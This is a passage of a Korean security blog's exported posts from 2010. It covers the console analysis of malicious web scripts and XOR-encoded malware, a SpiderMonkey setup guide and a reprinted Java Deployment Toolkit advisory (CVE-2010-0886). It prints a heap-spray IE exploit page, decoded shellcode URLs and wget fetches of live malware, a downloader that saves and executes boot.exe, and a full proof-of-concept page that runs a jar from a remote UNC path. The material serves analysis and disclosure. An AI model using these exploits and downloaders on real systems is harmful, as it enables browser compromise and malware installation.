생각합니다..\nEOF - ","date":"2010-05-09T10:47:12Z","permalink":"/2010/05/09/%EC%BD%98%EC%86%94-%ED%99%98%EA%B2%BD%EC%97%90%EC%84%9C-%EC%95%85%EC%84%B1-%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8-%EB%B6%84%EC%84%9D%ED%95%98%EA%B8%B0-2/","title":"콘솔 환경에서 악성 스크립트 분석하기! (2)"},{"content":"나중에 작업 환경이 리눅스로 바뀐다면 Malzilla 같은 툴 없이 분석을 쉽게 하기 위해 노가다로 스크립트를 작성해서 한번 찬찬히 분석을 진행해 보았습니다.\n제가 작성한 스크립트들이 거지같더라도 이해해 주시길 바라며 분석할 대상 URL은 hxxp://202.133.245.100/exam.asp 입니다. (주의! 함부로 접속하지 마세요.)\n먼저 wget을 이용하여 해당 스크립트를 다운로드 하여 살펴보도록 하겠습니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 [byjjoon@ByJJoon Script Analysis]$ wget http://211.234.118.207/main.html --2010-05-09 19:15:35-- http://211.234.118.207/main.html Connecting to 211.234.118.207:80... connected. HTTP request sent, awaiting response... 200 OK Length: 1624 (1.6K) [text/html] Saving to: `main.html\u0026#39; 100%[===============================================================================================================\u0026gt;] 1,624 --.-K/s in 0s 2010-05-09 19:15:35 (89.3 MB/s) - `main.html\u0026#39; saved [1624/1624] [byjjoon@ByJJoon Script Analysis]$ cat main.html \u0026lt;script src=\u0026#34;http://s87.cnzz.com/stat.php?id=790440\u0026amp;web_id=790440\u0026#34; language=\u0026#34;JavaScript\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;SCRIPT LANGUAGE=\u0026#34;JavaScript\u0026#34;\u0026gt; \u0026lt;!-- Hide function killErrors() { return true; } window.onerror = killErrors; // --\u0026gt; \u0026lt;/SCRIPT\u0026gt; \u0026lt;script src=\u0026#34;rl.jpg\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script src=\u0026#34;yt1.jpg\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script src=\u0026#34;ytl.jpg\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;BUTTON id=PPSytytYYtTTyyutian style=\u0026#34;DISPLAY: none\u0026#34; onclick=newTyPPSytytYYtTTyyutianAVpYyTt();\u0026gt;\u0026lt;/BUTTON\u0026gt; \u0026lt;SCRIPT language=javascript\u0026gt; function PPSytytYYtTTyyutianAVp(){ YtYtTyPPSytytYYtTTyyutianAVpYyTt = new Array(); var BIytKKTyPPSytytYYtTTyyutianAVpYyTt = 0x86000-(PPSytytYYtTTyyutianAVpYyTt.length*2); var nopaca = \u0026#39;kaix0c0c\u0026#39;+\u0026#39;kaix0c0c\u0026#39;; var LFlwBa=unescape(nopaca.replace(/kaix/g,\u0026#39;%u\u0026#39;)); while(LFlwBa.length\u0026lt;BIytKKTyPPSytytYYtTTyyutianAVpYyTt/2) { LFlwBa+=LFlwBa; } var youxiYTYTyyttYtTYyTian = LFlwBa.substring(0,BIytKKTyPPSytytYYtTTyyutianAVpYyTt/2); delete LFlwBa; for(YTiancazaWaGa=0; YTiancazaWaGa\u0026lt;270; YTiancazaWaGa++) YtYtTyPPSytytYYtTTyyutianAVpYyTt[YTiancazaWaGa] = youxiYTYTyyttYtTYyTian + youxiYTYTyyttYtTYyTian + PPSytytYYtTTyyutianAVpYyTt; } function newTyPPSytytYYtTTyyutianAVpYyTt(){ PPSytytYYtTTyyutianAVp(); var yutYianYtAYtVP = document.createElement(\u0026#39;bo\u0026#39;+\u0026#39;dy\u0026#39;); yutYianYtAYtVP.addBehavior(\u0026#39;#default#userData\u0026#39;); document.appendChild(yutYianYtAYtVP); try { for (YTiancazaWaGa=0; YTiancazaWaGa\u0026lt;10; YTiancazaWaGa++) yutYianYtAYtVP.setAttribute(\u0026#39;s\u0026#39;,window); } catch(e){ } window.status+=\u0026#39;\u0026#39;; } document.getElementById(\u0026#39;PPSytytYYtTTyyutian\u0026#39;).onclick(); \u0026lt;/SCRIPT\u0026gt; jpg 파일을 위장하여 몇개의 스크립트가 더 포함되어 있음을 알 수 있습니다. 그 중 yt1.jpg 파일을 다운로드 하도록 하겠씁니다. (왜 이 파일을 다운로드 하냐면.... 워낙 이런 류를 많이봐서 이젠 감이 오네요 -_-;)\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 [byjjoon@ByJJoon Script Analysis]$ wget http://211.234.118.207/yt1.jpg --2010-05-09 19:15:58-- http://211.234.118.207/yt1.jpg Connecting to 211.234.118.207:80... connected. HTTP request sent, awaiting response... 200 OK Length: 493 [image/jpeg] Saving to: `yt1.jpg\u0026#39; 100%[===============================================================================================================\u0026gt;] 493 --.-K/s in 0s 2010-05-09 19:15:58 (36.9 MB/s) - `yt1.jpg\u0026#39; saved [493/493] [byjjoon@ByJJoon Script Analysis]$ cat yt1.jpg try { new ActiveXObject(\u0026#34;kYTx\u0026#34;); } catch (e) { var YTMTV=\u0026#34;%ud5db%uc9c9%u87cd%u9292%uc8d7%udad3%ud2da%udcd0%ud4d3%u93dc%ud8d3%udbdb%uded4%ud8d4%uc9d3%ude93%u93d2%ucfd6%uc992%uced8%u93c9%uc5d8%uBDd8%uBD\u0026#34;; var YTavp123=\u0026#34;%u58yutianayt58%u58yutianayt58%u10yutianaytEB%u4Byutianayt5B%uC9yutianayt33%uB9yutianayt66%u03yutianaytB8%u34yutianayt80%uBDyutianayt0B%uFAE2%u05yutianaytEB%uEByutianaytE8%uFFyutianaytFF\u0026#34;; var YTavp1=(YTavp123.replace(/yutianayt/g,\u0026#34;\u0026#34;)); 여기서 YTMTV 변수의 코드가 악성코드를 다운로드 하는 URL이 포함된 변수 입니다. 해당 변수 값을 따로 저장하도록 하겠습니다.\n1 2 3 4 5 6 7 8 9 10 11 12 [byjjoon@ByJJoon Script Analysis]$ echo \u0026#39;%ud5db%uc9c9%u87cd%u9292%uc8d7%udad3%ud2da%udcd0%ud4d3%u93dc%ud8d3%udbdb%uded4%ud8d4%uc9d3%ude93%u93d2%ucfd6%uc992%uced8%u93c9%uc5d8%uBDd8\u0026#39; \u0026gt; shellcode.dump [byjjoon@ByJJoon Script Analysis]$ xxd shellcode.dump 0000000: 2575 6435 6462 2575 6339 6339 2575 3837 %ud5db%uc9c9%u87 0000010: 6364 2575 3932 3932 2575 6338 6437 2575 cd%u9292%uc8d7%u 0000020: 6461 6433 2575 6432 6461 2575 6463 6430 dad3%ud2da%udcd0 0000030: 2575 6434 6433 2575 3933 6463 2575 6438 %ud4d3%u93dc%ud8 0000040: 6433 2575 6462 6462 2575 6465 6434 2575 d3%udbdb%uded4%u 0000050: 6438 6434 2575 6339 6433 2575 6465 3933 d8d4%uc9d3%ude93 0000060: 2575 3933 6432 2575 6366 6436 2575 6339 %u93d2%ucfd6%uc9 0000070: 3932 2575 6365 6438 2575 3933 6339 2575 92%uced8%u93c9%u 0000080: 6335 6438 2575 4244 6438 0a c5d8%uBDd8. [byjjoon@ByJJoon Script Analysis]$ 이제 저장한 파일을 Hex값으로 변환해야 하는데 여기서 사용하는 스크립트 코드는 아래와 같습니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #!/usr/bin/python import sys, binascii if len(sys.argv) != 2: print \u0026#39;Usage : \u0026#39; + sys.argv[0] + \u0026#39; ShellcodeFile\u0026#39; sys.exit(1) input = open(sys.argv[1], \u0026#39;r\u0026#39;) shellcode = input.read() paser = shellcode.split(\u0026#39;%u\u0026#39;) code = \u0026#39;\u0026#39; for x in paser: code += x[2:4] + x[0:2] code = binascii.a2b_hex(code) output = open(\u0026#39;output.bin\u0026#39;, \u0026#39;wb\u0026#39;) output.write(code) 위 코드를 이용하여 아래와 같이 변환할 수 있습니다.\n1 2 3 4 5 6 7 [byjjoon@ByJJoon Script Analysis]$ ./ucs2_to_hex.py shellcode.dump [byjjoon@ByJJoon Script Analysis]$ ls -al output.bin -rw-rw-r-- 1 byjjoon byjjoon 46 2010-05-09 19:17 output.bin [byjjoon@ByJJoon Script Analysis]$ xxd output.bin 0000000: dbd5 c9c9 cd87 9292 d7c8 d3da dad2 d0dc ................ 0000010: d3d4 dc93 d3d8 dbdb d4de d4d8 d3c9 93de ................ 0000020: d293 d6cf 92c9 d8ce c993 d8c5 d8bd .............. 변환은 되었는데 제대로 값이 안나오는군요. 이런류는 대부분 XOR 인코딩을 이용해 주소값을 감추고 있습니다. 이러한 내용은 제일 처음에 받았던 스크립트의 쉘코드 부분에 기록되어 있습니다. 그에 대한 자세한 분석은 다음에 하도록 하죠 :D\n이제 XOR 키를 찾기 위해 아래 스크립트를 이용합니다. 아래 스크립트는 원하는 문자열이 나올떄 0x00 ~ 0xFF까지 브루트포스하여 원하는 문자열이 나올때 해당 키값과 디코딩한 문자열을 출력해주는 스크립트 입니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 #!/usr/bin/python import sys, operator def find_key(data, findstr): for x in range(len(data)): for y in range(255): count = 0 for z in findstr: if operator.xor(ord(data[x+count]), y) == ord(z): count += 1 else: continue if count == len(findstr): print \u0026#39;[+] Find key : \u0026#39; + str(hex(y)) apply_xor(data, y, x) print \u0026#39;[+] End\u0026#39; sys.exit(1) def apply_xor(data, key, pos): tmp = data[pos:] output = \u0026#39;\u0026#39; for x in range(len(tmp)): output += chr(operator.xor(ord(tmp[x]), int(key))) print \u0026#39;[+] Apply XOR : \u0026#39; + output def main(): if len(sys.argv) != 3: print \u0026#39;Usage : \u0026#39; + sys.argv[0] + \u0026#39; Filename FindStrings\u0026#39; sys.exit(1) input = open(sys.argv[1], \u0026#39;rb\u0026#39;) find_str = sys.argv[2] data = input.read() print \u0026#39;[+] Start\u0026#39; find_key(data, find_str) if __name__ == \u0026#39;__main__\u0026#39;: main() 이제 위 스크립트를 이용하여 XOR 키와 찾은 키로 디코딩을 해보도록 하겠습니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 [byjjoon@ByJJoon Script Analysis]$ ./xor_search.py output.bin http [+] Start [+] Find key : 0xbd [+] Apply XOR : http://junggomania.nefficient.co.kr/test.exe [+] End [byjjoon@ByJJoon Script Analysis]$ wget http://junggomania.nefficient.co.kr/test.exe --2010-05-09 19:18:22-- http://junggomania.nefficient.co.kr/test.exe Resolving junggomania.nefficient.co.kr... 211.233.40.35 Connecting to junggomania.nefficient.co.kr|211.233.40.35|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 52736 (52K) [application/octet-stream] Saving to: `test.exe\u0026#39; 100%[===============================================================================================================\u0026gt;] 52,736 --.-K/s in 0.09s 2010-05-09 19:18:23 (548 KB/s) - `test.exe\u0026#39; saved [52736/52736] [byjjoon@ByJJoon Script Analysis]$ file test.exe test.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit [byjjoon@ByJJoon Script Analysis]$ 디코딩된 URL에서 다운로드 한 파일이 정상적인 PE 파일임을 확인할 수 있었습니다.\nEOF - ","date":"2010-05-09T10:27:14Z","permalink":"/2010/05/09/%EC%BD%98%EC%86%94-%ED%99%98%EA%B2%BD%EC%97%90%EC%84%9C-%EC%95%85%EC%84%B1-%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8-%EB%B6%84%EC%84%9D%ED%95%98%EA%B8%B0/","title":"콘솔 환경에서 악성 스크립트 분석하기! (1)"},{"content":"악성 스크립트 분석 시 그냥 수정 후 웹브라우져에서 확인을 해도 되지만 혹시 모를 위험 때문에 SpiderMonkey를 이용할 수 있다.\n리눅스 환경에서는 yum install js-devel 명령어 하나로 간단하게 설치하여 사용할 수 있다. 윈도우 환경에서 사용할 방법을 찾다보니 cygwin 에서 컴파일 하여 사용이 가능함을 알 수 있었다.\nInstall Cygwin with gcc and standard C libraries.\nDownload and untar Stevens' SpiderMonkey source tarball.\nIn js/src/config/Linux_All.mk find the line that begins with MKSHLIB and change the ld linker syntax by replacing '-shared' with '-r':\n1 2 $ grep -n MKSHLIB config/Linux_All.mk 50:MKSHLIB = $(LD) -shared $(XMKSHLIBOPTS) Build using make with the following syntax:\n1 $ make -f Makefile.ref OS_ARCH=\u0026#39;Linux\u0026#39; -k We're essentially lying to make to get it to build as if our Cygwin environment is a Linux box. This is why shared linking breaks. But it should be a non-issue.\nThe make will exit with errors, but if all went well, the JavaScript shell, js.exe, has already been built:\n1 2 3 4 5 6 7 8 9 $ cd Linux_All_DBG.OBJ $ ls -l js.exe -rwxr-xr-x 1 nobody None 1493267 Dec 27 17:40 js.exe $ cp js.exe /bin/ $ ./js.exe js\u0026gt; document.write(\u0026#34;oh word!\u0026#34;); js\u0026gt; ^C $ cat write.log oh word! 설치 후 아래와 같이 이용할 수 있다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 C:\\Users\\ByJJoon\\Downloads\\Test\u0026gt;wget http://handlers.sans.org/dwesemann/decode/example.js --2010-05-08 04:35:00-- http://handlers.sans.org/dwesemann/decode/example.js Resolving handlers.sans.org... 74.208.112.68 Connecting to handlers.sans.org|74.208.112.68|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 3608 (3.5K) [application/x-javascript] Saving to: `example.js\u0026#39; 100%[==============================================================================\u0026gt;] 3,608 --.-K/s in 0s 2010-05-08 04:35:00 (23.6 MB/s) - `example.js\u0026#39; saved [3608/3608] C:\\Users\\ByJJoon\\Downloads\\Test\u0026gt;js example.js var url,path;url=\u0026#34;http://cool.47555.om/1xxxx.exe\u0026#34;;path=\u0026#34;C:\\\\boot.exe\u0026#34;;try{var ado=(document.createElement(\u0026#34;object\u0026#34;));var d=1;ado.setAttribute(\u0026#34;classid\u0026#34;,\u0026#34;clsid:BD96C776-65A3-11D0-983A-00C04FC29E36\u0026#34;);var e=1;var xml=ado.CreateObject(\u0026#34;Microsoft.XMLHTTP\u0026#34;,\u0026#34;\u0026#34;);var f=1;var ab=\u0026#34;Adodb.\u0026#34;;var cd=\u0026#34;Stream\u0026#34;;var g=1;var as=ado.createobject(ab+cd,\u0026#34;\u0026#34;);var h=1;xml.Open(\u0026#34;GET\u0026#34;,url,0);xml.Send();as.type=1;var n=1;as.open();as.write(xml.responseBody);as.savetofile(path,2);as.close();var shell=ado.createobject(\u0026#34;Shell.Application\u0026#34;,\u0026#34;\u0026#34;);shell.ShellExecute(path,\u0026#34;\u0026#34;,\u0026#34;\u0026#34;,\u0026#34;open\u0026#34;,0);}catch(e){}; C:\\Users\\ByJJoon\\Downloads\\Test\u0026gt; 출처 : http://pmelson.blogspot.com/2007/12/building-didier-stevens-spidermonkey-in.html\n","date":"2010-05-07T18:42:46Z","permalink":"/2010/05/07/cygwin-%ED%99%98%EA%B2%BD%EC%97%90%EC%84%9C-spidermonkey-%EC%84%A4%EC%B9%98%ED%95%98%EA%B8%B0/","title":"cygwin 환경에서 SpiderMonkey 설치하기"},{"content":"Python으로 구글 검색 결과를 받아오는 코드를 작성하다 pygoogle 이라는 라이브러리 있는 것을 확인하였으나 더이상 SOAP API 를 구글에서 제공하지 않아 AJAX API를 이용하여 결과를 받아 올 수 있다고 한다. 샘플 코드는 아래와 같다.\n1 2 3 4 5 6 7 8 9 10 11 12 #!/usr/bin/python import urllib import simplejson query = urllib.urlencode({\u0026#39;q\u0026#39; : \u0026#39;damon cortesi\u0026#39;}) url = \u0026#39;http://ajax.googleapis.com/ajax/services/search/web?v=1.0\u0026amp;%s\u0026#39; % (query) search_results = urllib.urlopen(url) json = simplejson.loads(search_results.read()) results = json[\u0026#39;responseData\u0026#39;][\u0026#39;results\u0026#39;] for i in results: print i[\u0026#39;title\u0026#39;] + \u0026#39; : \u0026#39; + i[\u0026#39;url\u0026#39;] 위 코드가 실행이 되려면 simplejson 이 설치되어 있어야 하는데 아래 사이트에서 다운로드 할 수 있다. http://pypi.python.org/pypi/simplejson/\n추가 구글 검색 시 사용 가능한 옵션은 아래와 같다. http://code.google.com/apis/ajaxsearch/documentation/reference.html#_intro_fonje\n출처 : http://dcortesi.com/2008/05/28/google-ajax-search-api-example-python-code/\n","date":"2010-04-21T13:04:34Z","permalink":"/2010/04/21/python-%EC%9C%BC%EB%A1%9C-%EA%B5%AC%EA%B8%80-%EA%B2%80%EC%83%89-%EA%B2%B0%EA%B3%BC-%EB%B0%9B%EC%95%84%EC%98%A4%EA%B8%B0/","title":"Python 으로 구글 검색 결과 받아오기"},{"content":"얼마전 주말에 찾은 CSRF 취약점에 대해 개발자분께 알려 드렸드니 금일 패치가 되었네요..\nhttp://www.xpressengine.com/18838863\n생각보다 패치가 빨리 나와.... 놀랐습니다.\n보통 취약점 포스팅 하면 엄청 늦게 패치가 되거나...\n이런걸 왜 제보하느냐 등 안좋은 소릴 들을수도 있다던데....\n제로보드는 국내 대표 CMS 답게 괜찮은거 같습니다.\n앞으로도 계속 꾸준히 제로보드를 이용할거 같네요...\n제로보드 최고! -____-)b\nhttp://null2root.tistory.com/entry/Zeroboard-XE-CSRF-%EC%B7%A8%EC%95%BD%EC%A0%90\n","date":"2010-04-15T00:24:52Z","permalink":"/2010/04/15/%EC%A0%9C%EB%A1%9C%EB%B3%B4%EB%93%9C-xe-14011-%EB%B3%B4%EC%95%88-%ED%8C%A8%EC%B9%98-%EB%B0%B0%ED%8F%AC/","title":"제로보드 XE 1.4.0.11 보안 패치 배포!"},{"content":"재미난 취약점이 올라왔네요..아래 첨부한 파일을 열어보면 코드는 아래와 같습니다.\n1 2 3 4 5 6 7 8 9 \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;title\u0026gt;IE/Opera source code viewer Null Character Handling \u0026lt;/title\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;h1\u0026gt;IE/Opera source code viewer Null Character Handling\u0026lt;/h1\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; \u0026lt;script\u0026gt;alert(\u0026#39;Can u see me?\u0026#39;);\u0026lt;/script\u0026gt; 파일 : poc.zip\n1 2 3 4 5 6 그런데 익스플로러 8 버전에서 열어 소스보기를 통해 보면 alert 창은 뜨나... \u0026lt;script\u0026gt;alert(\u0026#39;Can u see me?\u0026#39;);\u0026lt;/script\u0026gt; 코드는 확인할 수 없습니다. 이유는 아래와 같이 NULL 바이트 때문입니다. \u0026lt;script\u0026gt; 코드 바로 이전에 있는 널바이트 때문에 \u0026#34;인터넷 익스플로러 8 / 오페라\u0026#34; 브라우져에서 소스보기 창에서는 널바이트 이하 코드는 출력이 되지 않는걸로 보이네요. 이 외에도 php 버젼도 있는거 같습니다.. 자세한 내용은 아래 링크를 참고하세요. http://www.exploit-db.com/exploits/12156\n이러한 취약점을 이용하여 악성코드를 유포하는 스크립트를 숨길 수 있는 방법이 될수도 있을거 같네요.\n","date":"2010-04-11T20:20:34Z","permalink":"/2010/04/11/ieopera-source-code-viewer-null-character-handling/","title":"IE/Opera source code viewer Null Character Handling"},{"content":"Java Deployment Toolkit Performs Insufficient Validation of Parameters Java Web Start (henceforth, jws) provides java developers with a way to let users launch and install their applications using a URL to a Java Networking Launching Protocol (.jnlp) file (essentially some xml describing the program).\nSince Java 6 Update 10, Sun has distributed an NPAPI plugin and ActiveX control called \u0026quot;Java Deployment Toolkit\u0026quot; to provide developers with a simpler method of distributing their applications to end users. This toolkit is installed by default with the JRE and marked safe for scripting.\nThe launch() method provided by the toolkit object accepts a URL string, which it passes to the registered handler for JNLP files, which by default is the javaws utility.\n1 2 3 4 5 6 7 8 9 10 $ cmd /c ver Microsoft Windows XP [Version 5.1.2600] $ java -version java version \u0026#34;1.6.0_19\u0026#34; Java(TM) SE Runtime Environment (build 1.6.0_19-b04) Java HotSpot(TM) Client VM (build 16.2-b04, mixed mode, sharing) $ cat /proc/registry/HKEY_LOCAL_MACHINE/SOFTWARE/Classes/JNLPFile/Shell/Open/Command/\\@ \u0026#34;C:\\Program Files\\Java\\jre6\\bin\\javaws.exe\u0026#34; \u0026#34;%1\u0026#34; The toolkit provides only minimal validation of the URL parameter, allowing us to pass arbitrary parameters to the javaws utility, which provides enough functionality via command line arguments to allow this error to be exploited.\nThe simplicity with which this error can be discovered has convinced me that releasing this document is in the best interest of everyone except the vendor.\nAffected Software All versions since Java SE 6 update 10 for Microsoft Windows are believed to be affected by this vulnerability. Disabling the java plugin is not sufficient to prevent exploitation, as the toolkit is installed independently.\nhttp://java.sun.com/javase/6/docs/technotes/guides/jweb/deployment_advice.html\nI believe non-Windows installations are unaffected.\nConsequences Exploitation of this issue is not terribly exciting, but is potentially of high enough impact to merit explanation. The javaws application supports the following command line parameters.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 $ javaws -help Usage: javaws [run-options] \u0026lt;jnlp-file\u0026gt; javaws [control-options] where run-options include: -verbose display additional output -offline run the application in offline mode -system run the application from the system cache only -Xnosplash run without showing a splash screen -J\u0026lt;option\u0026gt; supply option to the vm -wait start java process and wait for its exit control-options include: -viewer show the cache viewer in the java control panel -uninstall remove all applications from the cache -uninstall \u0026lt;jnlp-file\u0026gt; remove the application from the cache -import [import-options] \u0026lt;jnlp-file\u0026gt; import the application to the cache import-options include: -silent import silently (with no user interface) -system import application into the system cache -codebase \u0026lt;url\u0026gt; retrieve resources from the given codebase -shortcut install shortcuts as if user allowed prompt -association install associations as if user allowed prompt Perhaps the most interesting of these is -J, and the obvious attack is simply to add -jar followed by an attacker controlled UNC path to the jvm command line, which I've demonstrated below. Other attacks are clearly possible, but this is sufficient to demonstrate the problem.\nIn order to trigger this attack in Internet Explorer, an attacker would use a code sequence like this\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 /* ... */ var o = document.createElement(\u0026#34;OBJECT\u0026#34;); o.classid = \u0026#34;clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA\u0026#34;; o.launch(\u0026#34;http: -J-jar -J\\\\\\\\attacker.controlled\\\\exploit.jar none\u0026#34;); /* ... */ Or, for Mozilla Firefox /* ... */ var o = document.createElement(\u0026#34;OBJECT\u0026#34;); o.type = \u0026#34;application/npruntime-scriptable-plugin;deploymenttoolkit\u0026#34; document.body.appendChild(o); o.launch(\u0026#34;http: -J-jar -J\\\\\\\\attacker.controlled\\\\exploit.jar none\u0026#34;); /* ... */ Please note, at some point the registered MIME type was changed to application/java-deployment-toolkit, please verify which type applies to your users when verifying any mitigation implemented has been effective (the simplest way would be to look at the output of about:plugins on a reference machine).\nA harmless demonstration is provided below. http://lock.cmpxchg8b.com/bb5eafbc6c6e67e11c4afc88b4e1dd22/testcase.html\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 \u0026lt;html\u0026gt; \u0026lt;head\u0026gt;\u0026lt;title\u0026gt;Java Deployment Toolkit Test Page\u0026lt;/title\u0026gt;\u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;script\u0026gt; // Tavis Ormandy \u0026lt;taviso@sdf.lonestar.org\u0026gt;, April 2010 var u = \u0026#34;http: -J-jar -J\\\\\\\\lock.cmpxchg8b.com\\\\calc.jar none\u0026#34;; if (window.navigator.appName == \u0026#34;Microsoft Internet Explorer\u0026#34;) { var o = document.createElement(\u0026#34;OBJECT\u0026#34;); o.classid = \u0026#34;clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA\u0026#34;; // Trigger the bug o.launch(u); } else { // Mozilla var o = document.createElement(\u0026#34;OBJECT\u0026#34;); var n = document.createElement(\u0026#34;OBJECT\u0026#34;); o.type = \u0026#34;application/npruntime-scriptable-plugin;deploymenttoolkit\u0026#34;; n.type = \u0026#34;application/java-deployment-toolkit\u0026#34;; document.body.appendChild(o); document.body.appendChild(n); // Test both MIME types try { // Old type o.launch(u); } catch (e) { // New type n.launch(u); } } // Bonus Vulnerability, why not downgrade victim to a JRE vulnerable to // this classic exploit? // http://sunsolve.sun.com/search/document.do?assetkey=1-66-244991-1 // o.installJRE(\u0026#34;1.4.2_18\u0026#34;); \u0026lt;/script\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; Mitigation If you believe your users may be affected, you should consider applying one of the workarounds described below as a matter of urgency.\nInternet Explorer users can be protected by temporarily setting the killbit on CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA. To the best of my knowledge, the deployment toolkit is not in widespread usage and is unlikely to impact end users. Mozilla Firefox and other NPAPI based browser users can be protected using File System ACLs to prevent access to npdeploytk.dll. These ACLs can also be managed via GPO. Detailed documentation on killbits is provided by Microsoft here\nhttp://support.microsoft.com/kb/240797\nDomain administrators can deploy killbits and File System ACLs using GPOs, for more information on Group Policy, see Microsoft's Group Policy site, here\nhttp://technet.microsoft.com/en-us/windowsserver/bb310732.aspx\nYou may be tempted to kill the HKLM...\\JNLPFile\\Shell\\Open\\Command key, but the author does not believe this is sufficient, as the plugin also provides enough functionality to install and downgrade JRE installations without prompting (seriously). However, if none of your affected users are local Administrators, this solution may work (untested).\nAs always, if you do not require this feature, consider permanently disabling it in order to reduce attack surface.\nSolution Sun has been informed about this vulnerability, however, they informed me they do not consider this vulnerability to be of high enough priority to break their quarterly patch cycle.\nFor various reasons, I explained that I did did not agree, and intended to publish advice to temporarily disable the affected control until a solution is available.\nCredit This bug was discovered by Tavis Ormandy.\nThis work is my own, and all of the opinions expressed are mine, not my employers or anybody elses (I added this for you, Dan. Thanks ;-)).\nGreetz Greetz to Julien, Neel, Redpig, Lcamtuf, Spoonm, Skylined, asiraP, LiquidK, ScaryBeasts, Headhntr, Jagger, Sami and Roach.\nSome very elite friends have started a consultancy called inverse path, you should really hire them.\nhttp://www.inversepath.com/\nReferences Deploying Java with JNLP, Sun Microsystems. http://java.sun.com/developer/technicalArticles/Programming/jnlp/ Notes My advisories are intended to be consumed by a technical audience of security professionals and systems administrators who are familiar with the principal for which the mailing list you have subscribed to is named. If you do not fall into this category, you can get up to speed by reading this accessible and balanced essay on the disclosure debate by Bruce Schneier.\nhttp://www.schneier.com/crypto-gram-0111.html#1\nSome of us would appreciate it if you made the effort to research and\n","date":"2010-04-09T18:01:45Z","permalink":"/2010/04/09/java-deployment-toolkit-performs-insufficient-validation-of-parameters/","title":"Java Deployment Toolkit Performs Insufficient Validation of Parameters - CVE-2010-0886"},{"content":" http://null2root.org 참고하세요.\n","date":"2010-04-07T15:35:46Z","permalink":"/2010/04/07/nullroot-2010-%EC%8B%A0%EC%9E%85%ED%9A%8C%EC%9B%90-%EB%AA%A8%EC%A7%91/","title":"NULL@ROOT 2010년 신입회원 모집"},{"content":"XOR로 인코딩 하여 내부적으로 혹은 다른 모듈로 복호화를 진행하는 악성코드들이 발견되고 있습니다. 따라서 XOR로 인코딩 된 파일 확보 시 XOR 키를 찾아서 다시 디코딩 작업을 거쳐야 하는데 이런 과정을 자동화 해주는 스크립트를 작성해 보았습니다.\n간단하게 https://jjoon.net/page/?p=149 글에 나왔던 파일에 대해 자동으로 디코딩 해주는 스크립트라 보면 될 거 같습니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 #!/usr/bin/python import operator, sys def find_key(filename): file = open(filename, \u0026#39;rb\u0026#39;) hex = file.read() m = ord(hex[0]) z = ord(hex[1]) count = 0 while 1: if operator.xor(m, count) == 77: # M if operator.xor(z, count) == 90: # Z break count += 1 print \u0026#39;[+] Find XOR key : \u0026#39; + \u0026#39;0x%0X\u0026#39; % count return count def xor(filename, key): file = open(filename, \u0026#39;rb\u0026#39;) data = file.read() newfile = open(filename + \u0026#39;_xor\u0026#39;, \u0026#39;wb\u0026#39;) for x in data: if ord(x) == 0x00 or ord(x) == key: newfile.write(chr(ord(x))) else: newfile.write(chr(operator.xor(ord(x), key))) print \u0026#39;[+] Create PE file : \u0026#39; + filename + \u0026#39;_xor\u0026#39; def main(): if len(sys.argv) != 2: print \u0026#39;Usage: xor.py \u0026lt;filename\u0026gt;\u0026#39; sys.exit(1) print \u0026#39;ByJJoon XOR Decoder!\u0026#39; print \u0026#39;[+] Start\u0026#39; filename = sys.argv[1] key = find_key(filename) xor(filename, key) print \u0026#39;[+] End\u0026#39; if __name__ == \u0026#34;__main__\u0026#34;: main() 사용법은 아래와 같습니다..\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 [byjjoon@ByJJoon xor]$ wget http://www.jiandaonet.com/jcf/k01.exe --2010-03-23 23:52:29-- http://www.jiandaonet.com/jcf/k01.exe Resolving www.jiandaonet.com... 124.172.109.19 Connecting to www.jiandaonet.com|124.172.109.19|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 30208 (30K) [application/octet-stream] Saving to: `k01.exe\u0026#39; 100%[========================================================================================\u0026gt;] 30,208 3.79K/s in 7.8s 2010-03-23 23:52:38 (3.79 KB/s) - `k01.exe\u0026#39; saved [30208/30208] [byjjoon@ByJJoon xor]$ file k01.exe k01.exe: data [byjjoon@ByJJoon xor]$ ./xor.py k01.exe ByJJoon XOR Decoder! [+] Start [+] Find XOR key : 0xA2 [+] Create PE file : k01.exe_xor [+] End [byjjoon@ByJJoon xor]$ file k01.exe_xor k01.exe_xor: PE32 executable for MS Windows (GUI) Intel 